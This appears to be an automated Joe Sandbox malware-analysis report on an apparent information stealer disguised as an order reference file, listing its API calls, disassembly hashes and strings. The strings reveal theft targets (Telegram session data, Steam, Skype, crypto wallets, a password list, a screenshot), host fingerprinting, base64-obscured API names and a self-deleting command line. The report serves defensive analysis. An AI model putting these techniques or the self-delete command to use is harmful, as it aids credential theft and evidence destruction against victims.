Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: AllocateAndInitializeSid$CheckTokenMembership$CloseHandle$CopyFileW$CreateFileW$CreateMutexA$CreateProcessAsUserW$CreateProcessW$CreateToolhelp32Snapshot$CryptAcquireContextA$CryptCreateHash$CryptDestroyHash$CryptGetHashParam$CryptHashData$CryptReleaseContext$DeleteFileW$EnumDisplayDevicesW$ExpandEnvironmentStringsW$FindClose$FindFirstFileW$FindNextFileW$GetComputerNameW$GetCurrentDirectoryW$GetDriveTypeA$GetEnvironmentVariableW$GetFileAttributesW$GetFileSize$GetKeyboardLayoutList$GetLastError$GetLocalTime$GetLocaleInfoA$GetLogicalDriveStringsA$GetModuleFileNameW$GetTickCount$GetTimeZoneInformation$GetUserNameW$GlobalMemoryStatus$GlobalMemoryStatusEx$LocalFree$LookupAccountSidA$Process32FirstW$Process32NextW$ReadFile$RegCloseKey$RegCreateKeyExW$RegEnumKeyW$RegEnumValueW$RegOpenKeyExW$RegOpenKeyW$RegQueryValueExW$ReleaseMutex$RemoveDirectoryW$RtlComputeCrc32$SetCurrentDirectoryW$SetDllDirectoryW$SetEnvironmentVariableW$ShellExecuteExW$advapi32.dll$kernel32.dll$ntdll.dll$shell32.dll$user32.dll$wvsprintfA
API String ID: 2238633743-617434850
Opcode ID: 8a7debf825173666d64633fefa6854a254c857d9de9e6bbb9cb681206d11099e
Instruction ID: cfd24dbd3a5623e96a1366eeff91a6eabf16f5ed4c2f56b33555d19b2fe062a0
Opcode Fuzzy Hash: 8a7debf825173666d64633fefa6854a254c857d9de9e6bbb9cb681206d11099e
Instruction Fuzzy Hash: AEC174B1A80710ABDB01EFA5DC8AA6A37A8FB45705360953BB544FF2D1D678DC018F9C

Function 00419108 Relevance: 57.0, APIs: 4, Strings: 28, Instructions: 964
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateMutexA.KERNEL32(00000000,00000000,00000000), ref: 00419195

Part of subcall function 00408328: CreateDirectoryW.KERNEL32(00000000,00000000,004087A8,00000000,%TEMP%\,00000000,00408781,?,?,0041B0FC,0000044D,0000000C,00000000,00000000,?,0041930D), ref: 004083C7
Part of subcall function 00408328: CreateDirectoryW.KERNEL32(00000000,00000000,004087A8,00000000,%appdata%\,00000000,00000000,004087A8,00000000,%TEMP%\,00000000,00408781,?,?,0041B0FC,0000044D), ref: 00408435

GetSystemMetrics.USER32(00000001), ref: 00419460
GetSystemMetrics.USER32(00000000), ref: 00419468
ExitProcess.KERNEL32(00000000), ref: 00419F2B

Strings

<n>, xrefs: 004192A8
</c>, xrefs: 00419279
/c %WINDIR%\system32\timeout.exe 3 & del ", xrefs: 00419E66
<c>, xrefs: 00419281
%DSK_, xrefs: 004194C5, 004194E2, 0041956B
D877F783D5*,map*, xrefs: 00419420
http://ip-api.com/json, xrefs: 0041988E
0_@, xrefs: 00419CD7, 0041A0EA
%appdata%\Telegram Desktop\tdata\, xrefs: 00419425
scr.jpg, xrefs: 00419475
"countryCode":", xrefs: 004198BA
ip.txt, xrefs: 004198E5, 004198F7
"query":", xrefs: 004198A4
<d>, xrefs: 004192DF
Coins, xrefs: 004193CE
GET, xrefs: 00419887
exit, xrefs: 00419262
System.txt, xrefs: 00419938
%comspec%, xrefs: 00419E45
Skype, xrefs: 004193F8
Telegram, xrefs: 0041941B
</n>, xrefs: 004192A0
Steam, xrefs: 0041943B
</d>, xrefs: 004192D7
Files\, xrefs: 004196C6, 004197A1
PasswordsList.txt, xrefs: 00419368
image/jpeg, xrefs: 00419455
<, xrefs: 00419E1B

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: Create$DirectoryMetricsSystem$ExitMutexProcess
String ID: "countryCode":"$"query":"$%DSK_$%appdata%\Telegram Desktop\tdata\$%comspec%$/c %WINDIR%\system32\timeout.exe 3 & del "$0_@$<$</c>$</d>$</n>$<c>$<d>$<n>$Coins$D877F783D5*,map*$Files\$GET$PasswordsList.txt$Skype$Steam$System.txt$Telegram$exit$http://ip-api.com/json$image/jpeg$ip.txt$scr.jpg
API String ID: 447519224-805684967
Opcode ID: b0918735eb01c85f46bb61440219fdaacc2c7db3611cf1fcd55f505ef4f58d84
Instruction ID: 8e865d1d98f6c8efaf34d3e531d58462b667ba857a61b59ff422c1b99a10b1ba
Opcode Fuzzy Hash: b0918735eb01c85f46bb61440219fdaacc2c7db3611cf1fcd55f505ef4f58d84
Instruction Fuzzy Hash: 4F920E34A0011D9FDB11EB55C885BCDB7B9AF49308F5081BBE408B7292DB38AF958F59

Function 0040831C Relevance: 37.1, APIs: 18, Strings: 3, Instructions: 323
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryW.KERNEL32(00000000,00000000,004087A8,00000000,%TEMP%\,00000000,00408781,?,?,0041B0FC,0000044D,0000000C,00000000,00000000,?,0041930D), ref: 004083C7
CreateDirectoryW.KERNEL32(00000000,00000000,004087A8,00000000,%appdata%\,00000000,00000000,004087A8,00000000,%TEMP%\,00000000,00408781,?,?,0041B0FC,0000044D), ref: 00408435
SetEnvironmentVariableW.KERNEL32(PATH,00000000,?,004087D8,0041C7C0,?,?,0041B0FC,0000044D,0000000C,00000000,00000000,?,0041930D,?,?), ref: 004084AA
SetCurrentDirectoryW.KERNEL32(00000000,?,?,0041B0FC,0000044D,0000000C,00000000,00000000,?,0041930D,?,?,?,00000000), ref: 004084BB
LoadLibraryExW.KERNEL32(00000000,00000000,00000008,?,?,0041B0FC,0000044D,0000000C,00000000,00000000,?,0041930D,?,?,?,00000000), ref: 004084E4
GetProcAddress.KERNEL32(00000000,00000000), ref: 0040850D
GetProcAddress.KERNEL32(00000000,00000000), ref: 00408530
GetProcAddress.KERNEL32(00000000,00000000), ref: 00408553
GetProcAddress.KERNEL32(00000000,00000000), ref: 00408576
GetProcAddress.KERNEL32(00000000,00000000), ref: 00408599
GetProcAddress.KERNEL32(00000000,00000000), ref: 004085BC
GetProcAddress.KERNEL32(00000000,00000000), ref: 004085DF
GetProcAddress.KERNEL32(00000000,00000000), ref: 00408602
GetProcAddress.KERNEL32(00000000,00000000), ref: 00408625
GetProcAddress.KERNEL32(00000000,00000000), ref: 00408648
GetProcAddress.KERNEL32(00000000,00000000), ref: 0040866B
GetProcAddress.KERNEL32(00000000,00000000), ref: 0040868E
GetProcAddress.KERNEL32(00000000,00000000), ref: 004086B1

Strings

%TEMP%\, xrefs: 0040838E
PATH, xrefs: 00408448, 00408470, 0040849E
%appdata%\, xrefs: 004083FC

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: AddressProc$Directory$Create$CurrentEnvironmentLibraryLoadVariable
String ID: %TEMP%\$%appdata%\$PATH
API String ID: 2911879835-1089150275
Opcode ID: e4e5c2d4d06a1a6c8081053e572a563431305d24251950a8ae36c56c8d1de249
Instruction ID: 107c2c44d9e3562d342af0426f92bc8293728700e54ee15747b3200e896e575f
Opcode Fuzzy Hash: e4e5c2d4d06a1a6c8081053e572a563431305d24251950a8ae36c56c8d1de249
Instruction Fuzzy Hash: 08C12A709002059BDB01EBA9DD86BCE77B8EF49308F20457BB454BB2D6CB78AD05CB59

Function 00408324 Relevance: 37.1, APIs: 18, Strings: 3, Instructions: 319
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryW.KERNEL32(00000000,00000000,004087A8,00000000,%TEMP%\,00000000,00408781,?,?,0041B0FC,0000044D,0000000C,00000000,00000000,?,0041930D), ref: 004083C7
CreateDirectoryW.KERNEL32(00000000,00000000,004087A8,00000000,%appdata%\,00000000,00000000,004087A8,00000000,%TEMP%\,00000000,00408781,?,?,0041B0FC,0000044D), ref: 00408435
SetEnvironmentVariableW.KERNEL32(PATH,00000000,?,004087D8,0041C7C0,?,?,0041B0FC,0000044D,0000000C,00000000,00000000,?,0041930D,?,?), ref: 004084AA
SetCurrentDirectoryW.KERNEL32(00000000,?,?,0041B0FC,0000044D,0000000C,00000000,00000000,?,0041930D,?,?,?,00000000), ref: 004084BB
LoadLibraryExW.KERNEL32(00000000,00000000,00000008,?,?,0041B0FC,0000044D,0000000C,00000000,00000000,?,0041930D,?,?,?,00000000), ref: 004084E4
GetProcAddress.KERNEL32(00000000,00000000), ref: 0040850D
GetProcAddress.KERNEL32(00000000,00000000), ref: 00408530
GetProcAddress.KERNEL32(00000000,00000000), ref: 00408553
GetProcAddress.KERNEL32(00000000,00000000), ref: 00408576
GetProcAddress.KERNEL32(00000000,00000000), ref: 00408599
GetProcAddress.KERNEL32(00000000,00000000), ref: 004085BC
GetProcAddress.KERNEL32(00000000,00000000), ref: 004085DF
GetProcAddress.KERNEL32(00000000,00000000), ref: 00408602
GetProcAddress.KERNEL32(00000000,00000000), ref: 00408625
GetProcAddress.KERNEL32(00000000,00000000), ref: 00408648
GetProcAddress.KERNEL32(00000000,00000000), ref: 0040866B
GetProcAddress.KERNEL32(00000000,00000000), ref: 0040868E
GetProcAddress.KERNEL32(00000000,00000000), ref: 004086B1

Strings

%TEMP%\, xrefs: 0040838E
PATH, xrefs: 00408448, 00408470, 0040849E
%appdata%\, xrefs: 004083FC

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: AddressProc$Directory$Create$CurrentEnvironmentLibraryLoadVariable
String ID: %TEMP%\$%appdata%\$PATH
API String ID: 2911879835-1089150275
Opcode ID: f04ed8dcc2675f9e36baa5c3d36bb90d5a00c27a26f77e990067af3d50a12d82
Instruction ID: 2d8dd4a76802c8c05b7f9f6fb250e21a54e9375513618aa46567d80ce5eb0686
Opcode Fuzzy Hash: f04ed8dcc2675f9e36baa5c3d36bb90d5a00c27a26f77e990067af3d50a12d82
Instruction Fuzzy Hash: A7C12A70A002059BDB01EBA9DD86BCE77B8EF45308F20453BB454BB3D5CB78AD058B59

Function 00408328 Relevance: 37.1, APIs: 18, Strings: 3, Instructions: 317
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryW.KERNEL32(00000000,00000000,004087A8,00000000,%TEMP%\,00000000,00408781,?,?,0041B0FC,0000044D,0000000C,00000000,00000000,?,0041930D), ref: 004083C7
CreateDirectoryW.KERNEL32(00000000,00000000,004087A8,00000000,%appdata%\,00000000,00000000,004087A8,00000000,%TEMP%\,00000000,00408781,?,?,0041B0FC,0000044D), ref: 00408435
SetEnvironmentVariableW.KERNEL32(PATH,00000000,?,004087D8,0041C7C0,?,?,0041B0FC,0000044D,0000000C,00000000,00000000,?,0041930D,?,?), ref: 004084AA
SetCurrentDirectoryW.KERNEL32(00000000,?,?,0041B0FC,0000044D,0000000C,00000000,00000000,?,0041930D,?,?,?,00000000), ref: 004084BB
LoadLibraryExW.KERNEL32(00000000,00000000,00000008,?,?,0041B0FC,0000044D,0000000C,00000000,00000000,?,0041930D,?,?,?,00000000), ref: 004084E4
GetProcAddress.KERNEL32(00000000,00000000), ref: 0040850D
GetProcAddress.KERNEL32(00000000,00000000), ref: 00408530
GetProcAddress.KERNEL32(00000000,00000000), ref: 00408553
GetProcAddress.KERNEL32(00000000,00000000), ref: 00408576
GetProcAddress.KERNEL32(00000000,00000000), ref: 00408599
GetProcAddress.KERNEL32(00000000,00000000), ref: 004085BC
GetProcAddress.KERNEL32(00000000,00000000), ref: 004085DF
GetProcAddress.KERNEL32(00000000,00000000), ref: 00408602
GetProcAddress.KERNEL32(00000000,00000000), ref: 00408625
GetProcAddress.KERNEL32(00000000,00000000), ref: 00408648
GetProcAddress.KERNEL32(00000000,00000000), ref: 0040866B
GetProcAddress.KERNEL32(00000000,00000000), ref: 0040868E
GetProcAddress.KERNEL32(00000000,00000000), ref: 004086B1

Strings

%TEMP%\, xrefs: 0040838E
PATH, xrefs: 00408448, 00408470, 0040849E
%appdata%\, xrefs: 004083FC

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: AddressProc$Directory$Create$CurrentEnvironmentLibraryLoadVariable
String ID: %TEMP%\$%appdata%\$PATH
API String ID: 2911879835-1089150275
Opcode ID: a3ce4b51808725714c211ae2b167d2bfbfb381e1c9c191de6c640cd2dafadb6f
Instruction ID: f743aedec7dbf6b98949553c7d40f8bccc431f9c9a4af862cbdb08e619508236
Opcode Fuzzy Hash: a3ce4b51808725714c211ae2b167d2bfbfb381e1c9c191de6c640cd2dafadb6f
Instruction Fuzzy Hash: A0C11A70A002059BDB01EBA9DD86BCE77B8EF48309F20453BB454BB3D5DB78AD058B59

Function 00416B8C Relevance: 26.5, APIs: 10, Strings: 5, Instructions: 216
libraryloaderprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(kernel32.dll,00000000,00000000,00416ECA,?,-00000001,0041B0FC,?,?,004174B2,?,00000001,,?,?,), ref: 00416C04
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00416C0A
LoadLibraryA.KERNEL32(kernel32.dll,00000000,00000000,kernel32.dll,00000000,00000000,00416ECA,?,-00000001,0041B0FC,?,?,004174B2,?,00000001,), ref: 00416C32
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00416C38
LoadLibraryA.KERNEL32(00000000,00000000,00000000,kernel32.dll,00000000,00000000,kernel32.dll,00000000,00000000,00416ECA,?,-00000001,0041B0FC,?,?,004174B2), ref: 00416C77
GetProcAddress.KERNEL32(00000000,00000000), ref: 00416C7D
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00000000,00000000,00000000,00000000,kernel32.dll,00000000,00000000,kernel32.dll,00000000,00000000,00416ECA,?,-00000001,0041B0FC), ref: 00416C90
Process32FirstW.KERNEL32(00000000,0000022C), ref: 00416CAF
CloseHandle.KERNEL32(00000000), ref: 00416D2C
GetCurrentProcessId.KERNEL32(?,-00000001,0041B0FC,?,?,004174B2,?,00000001,,?,?,,?,Zone: ,?,004175A8), ref: 00416DAA

Strings

kernel32.dll, xrefs: 00416BFF, 00416C2D
UHJvY2VzczMyRmlyc3RX, xrefs: 00416C17
UHJvY2VzczMyTmV4dFc=, xrefs: 00416C45
a2VybmVsMzIuZGxs, xrefs: 00416C61
Q3JlYXRlVG9vbGhlbHAzMlNuYXBzaG90, xrefs: 00416BE9

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc$CloseCreateCurrentFirstHandleProcessProcess32SnapshotToolhelp32
String ID: Q3JlYXRlVG9vbGhlbHAzMlNuYXBzaG90$UHJvY2VzczMyRmlyc3RX$UHJvY2VzczMyTmV4dFc=$a2VybmVsMzIuZGxs$kernel32.dll
API String ID: 3436445879-4127804628
Opcode ID: 65300b4e60da800d415c1a3cb2551db00b88653df35aa2bd350cfea82b7b47e0
Instruction ID: f3c24ddc2a443a78fd4165323e7ca93df30f075cb4f00a4e444516d0c24f858d
Opcode Fuzzy Hash: 65300b4e60da800d415c1a3cb2551db00b88653df35aa2bd350cfea82b7b47e0
Instruction Fuzzy Hash: FB917570A006099BCB10EF69C985ADEB7B9FF84304F1181BAE509B7291D739DF858F58

Function 00416B90 Relevance: 26.5, APIs: 10, Strings: 5, Instructions: 214
libraryloaderprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(kernel32.dll,00000000,00000000,00416ECA,?,-00000001,0041B0FC,?,?,004174B2,?,00000001,,?,?,), ref: 00416C04
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00416C0A
LoadLibraryA.KERNEL32(kernel32.dll,00000000,00000000,kernel32.dll,00000000,00000000,00416ECA,?,-00000001,0041B0FC,?,?,004174B2,?,00000001,), ref: 00416C32
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00416C38
LoadLibraryA.KERNEL32(00000000,00000000,00000000,kernel32.dll,00000000,00000000,kernel32.dll,00000000,00000000,00416ECA,?,-00000001,0041B0FC,?,?,004174B2), ref: 00416C77
GetProcAddress.KERNEL32(00000000,00000000), ref: 00416C7D
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00000000,00000000,00000000,00000000,kernel32.dll,00000000,00000000,kernel32.dll,00000000,00000000,00416ECA,?,-00000001,0041B0FC), ref: 00416C90
Process32FirstW.KERNEL32(00000000,0000022C), ref: 00416CAF
CloseHandle.KERNEL32(00000000), ref: 00416D2C
GetCurrentProcessId.KERNEL32(?,-00000001,0041B0FC,?,?,004174B2,?,00000001,,?,?,,?,Zone: ,?,004175A8), ref: 00416DAA

Strings

kernel32.dll, xrefs: 00416BFF, 00416C2D
UHJvY2VzczMyRmlyc3RX, xrefs: 00416C17
UHJvY2VzczMyTmV4dFc=, xrefs: 00416C45
a2VybmVsMzIuZGxs, xrefs: 00416C61
Q3JlYXRlVG9vbGhlbHAzMlNuYXBzaG90, xrefs: 00416BE9

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc$CloseCreateCurrentFirstHandleProcessProcess32SnapshotToolhelp32
String ID: Q3JlYXRlVG9vbGhlbHAzMlNuYXBzaG90$UHJvY2VzczMyRmlyc3RX$UHJvY2VzczMyTmV4dFc=$a2VybmVsMzIuZGxs$kernel32.dll
API String ID: 3436445879-4127804628
Opcode ID: 23aed005d1cd924713a6c9523997cf456d4e38f9e5c7cc2fcb202ae1bcbd67cf
Instruction ID: fd76d8ed353255a1278cd755ee3df483ef4fe920b1e5afc451e9d1c12470fbd9
Opcode Fuzzy Hash: 23aed005d1cd924713a6c9523997cf456d4e38f9e5c7cc2fcb202ae1bcbd67cf
Instruction Fuzzy Hash: B2818570A006099BCB10EF69C985ADEB7B9FF84304F1181BAE509B7291D739DF858F58

Function 00417278 Relevance: 26.5, APIs: 5, Strings: 10, Instructions: 213
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemMetrics.USER32(00000000), ref: 004173D7
GetSystemMetrics.USER32(00000001), ref: 004173EE

Part of subcall function 00416FB8: GetLocaleInfoA.KERNEL32(?,00000059,?,00000100,?,-00000001,0041B0FC,?,?,00417429,Layouts: ,?,00417604,?,00000001,00417654), ref: 00417015

Part of subcall function 00417098: GetTimeZoneInformation.KERNEL32(?,00000000,00417170,?,-00000001,0041B0FC,?,?,0041746F,Zone: ,?,004175A8,?,LocalTime: ,?,004175A8), ref: 004170D6

Part of subcall function 00416748: GetSystemInfo.KERNEL32(0041A13A,00000000,004168D4,?,?,00000000,00000000,?,0041748D,?,,?,Zone: ,?,004175A8,?), ref: 0041676C

Sleep.KERNEL32(00000001,,?,?,,?,Zone: ,?,004175A8,?,LocalTime: ,?,004175A8,?,Layouts: ,?), ref: 004174A3

Part of subcall function 00416B94: LoadLibraryA.KERNEL32(kernel32.dll,00000000,00000000,00416ECA,?,-00000001,0041B0FC,?,?,004174B2,?,00000001,,?,?,), ref: 00416C04
Part of subcall function 00416B94: GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00416C0A
Part of subcall function 00416B94: LoadLibraryA.KERNEL32(kernel32.dll,00000000,00000000,kernel32.dll,00000000,00000000,00416ECA,?,-00000001,0041B0FC,?,?,004174B2,?,00000001,), ref: 00416C32
Part of subcall function 00416B94: GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00416C38
Part of subcall function 00416B94: LoadLibraryA.KERNEL32(00000000,00000000,00000000,kernel32.dll,00000000,00000000,kernel32.dll,00000000,00000000,00416ECA,?,-00000001,0041B0FC,?,?,004174B2), ref: 00416C77
Part of subcall function 00416B94: GetProcAddress.KERNEL32(00000000,00000000), ref: 00416C7D
Part of subcall function 00416B94: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00000000,00000000,00000000,00000000,kernel32.dll,00000000,00000000,kernel32.dll,00000000,00000000,00416ECA,?,-00000001,0041B0FC), ref: 00416C90
Part of subcall function 00416B94: Process32FirstW.KERNEL32(00000000,0000022C), ref: 00416CAF

Sleep.KERNEL32(00000001,004175A8,004175A8,?,?,00000001,,?,?,,?,Zone: ,?,004175A8,?,LocalTime: ), ref: 004174CD
Sleep.KERNEL32(00000001,004175A8,[Soft],?,00000001,004175A8,004175A8,?,?,00000001,,?,?,,?,Zone: ), ref: 004174EC

Part of subcall function 00415F30: RegOpenKeyExA.ADVAPI32(80000002,00000000,00000000,00020019,0041A69E,00000000,00416452,?,-00000001,0041B0FC,?,00000000,00000000,?,004174F9,00000001), ref: 00415F8D
Part of subcall function 00415F30: RegEnumKeyA.ADVAPI32(0041A69E,00000000,?,000003E9), ref: 00416115
Part of subcall function 00415F30: RegOpenKeyExA.ADVAPI32(80000001,00000000,00000000,00020019,0041A69E,0041A69E,00000001,?,000003E9,),?,?,00000000,00416528,?,?), ref: 00416150
Part of subcall function 00415F30: RegEnumKeyA.ADVAPI32(0041A69E,00000000,?,000003E9), ref: 004162D8

Part of subcall function 00403B98: SysFreeString.OLEAUT32(?), ref: 00403BAB

Strings

MachineID : , xrefs: 004172B0
EXE_PATH : , xrefs: 004172D3
Zone: , xrefs: 00417462
[Soft], xrefs: 004174D4
Windows : , xrefs: 004172F8
LocalTime: , xrefs: 0041743F
, xrefs: 004172E5, 00417472, 00417490
Screen: , xrefs: 004173BD
Layouts: , xrefs: 0041741C
Computer(Username) : , xrefs: 00417364

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProcSleepSystem$EnumInfoMetricsOpen$CreateFirstFreeInformationLocaleProcess32SnapshotStringTimeToolhelp32Zone
String ID: $Computer(Username) : $EXE_PATH : $Layouts: $LocalTime: $MachineID : $Screen: $Windows : $Zone: $[Soft]
API String ID: 441461025-943277980
Opcode ID: a22df512de9960ae85694d245b4f4119eedafc5602223ade3eea4ad26099b946
Instruction ID: faa4580c3751e67dc94fa71ed2fe839e62200f283c7ef28ebc39c5cb7ba49714
Opcode Fuzzy Hash: a22df512de9960ae85694d245b4f4119eedafc5602223ade3eea4ad26099b946
Instruction Fuzzy Hash: 94814F70A44209AFCB01FFA1CC42BCDBF7AAF49309F60407BB104B65D6D67D9A568B19

Function 0041727C Relevance: 26.5, APIs: 5, Strings: 10, Instructions: 211
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemMetrics.USER32(00000000), ref: 004173D7
GetSystemMetrics.USER32(00000001), ref: 004173EE

Part of subcall function 00416FB8: GetLocaleInfoA.KERNEL32(?,00000059,?,00000100,?,-00000001,0041B0FC,?,?,00417429,Layouts: ,?,00417604,?,00000001,00417654), ref: 00417015

Part of subcall function 00417098: GetTimeZoneInformation.KERNEL32(?,00000000,00417170,?,-00000001,0041B0FC,?,?,0041746F,Zone: ,?,004175A8,?,LocalTime: ,?,004175A8), ref: 004170D6

Part of subcall function 00416748: GetSystemInfo.KERNEL32(0041A13A,00000000,004168D4,?,?,00000000,00000000,?,0041748D,?,,?,Zone: ,?,004175A8,?), ref: 0041676C

Sleep.KERNEL32(00000001,,?,?,,?,Zone: ,?,004175A8,?,LocalTime: ,?,004175A8,?,Layouts: ,?), ref: 004174A3

Part of subcall function 00416B94: LoadLibraryA.KERNEL32(kernel32.dll,00000000,00000000,00416ECA,?,-00000001,0041B0FC,?,?,004174B2,?,00000001,,?,?,), ref: 00416C04
Part of subcall function 00416B94: GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00416C0A
Part of subcall function 00416B94: LoadLibraryA.KERNEL32(kernel32.dll,00000000,00000000,kernel32.dll,00000000,00000000,00416ECA,?,-00000001,0041B0FC,?,?,004174B2,?,00000001,), ref: 00416C32
Part of subcall function 00416B94: GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00416C38
Part of subcall function 00416B94: LoadLibraryA.KERNEL32(00000000,00000000,00000000,kernel32.dll,00000000,00000000,kernel32.dll,00000000,00000000,00416ECA,?,-00000001,0041B0FC,?,?,004174B2), ref: 00416C77
Part of subcall function 00416B94: GetProcAddress.KERNEL32(00000000,00000000), ref: 00416C7D
Part of subcall function 00416B94: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00000000,00000000,00000000,00000000,kernel32.dll,00000000,00000000,kernel32.dll,00000000,00000000,00416ECA,?,-00000001,0041B0FC), ref: 00416C90
Part of subcall function 00416B94: Process32FirstW.KERNEL32(00000000,0000022C), ref: 00416CAF

Sleep.KERNEL32(00000001,004175A8,004175A8,?,?,00000001,,?,?,,?,Zone: ,?,004175A8,?,LocalTime: ), ref: 004174CD
Sleep.KERNEL32(00000001,004175A8,[Soft],?,00000001,004175A8,004175A8,?,?,00000001,,?,?,,?,Zone: ), ref: 004174EC

Part of subcall function 00415F30: RegOpenKeyExA.ADVAPI32(80000002,00000000,00000000,00020019,0041A69E,00000000,00416452,?,-00000001,0041B0FC,?,00000000,00000000,?,004174F9,00000001), ref: 00415F8D
Part of subcall function 00415F30: RegEnumKeyA.ADVAPI32(0041A69E,00000000,?,000003E9), ref: 00416115
Part of subcall function 00415F30: RegOpenKeyExA.ADVAPI32(80000001,00000000,00000000,00020019,0041A69E,0041A69E,00000001,?,000003E9,),?,?,00000000,00416528,?,?), ref: 00416150
Part of subcall function 00415F30: RegEnumKeyA.ADVAPI32(0041A69E,00000000,?,000003E9), ref: 004162D8

Part of subcall function 00403B98: SysFreeString.OLEAUT32(?), ref: 00403BAB

Strings

MachineID : , xrefs: 004172B0
EXE_PATH : , xrefs: 004172D3
Zone: , xrefs: 00417462
[Soft], xrefs: 004174D4
Windows : , xrefs: 004172F8
LocalTime: , xrefs: 0041743F
, xrefs: 004172E5, 00417472, 00417490
Screen: , xrefs: 004173BD
Layouts: , xrefs: 0041741C
Computer(Username) : , xrefs: 00417364

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

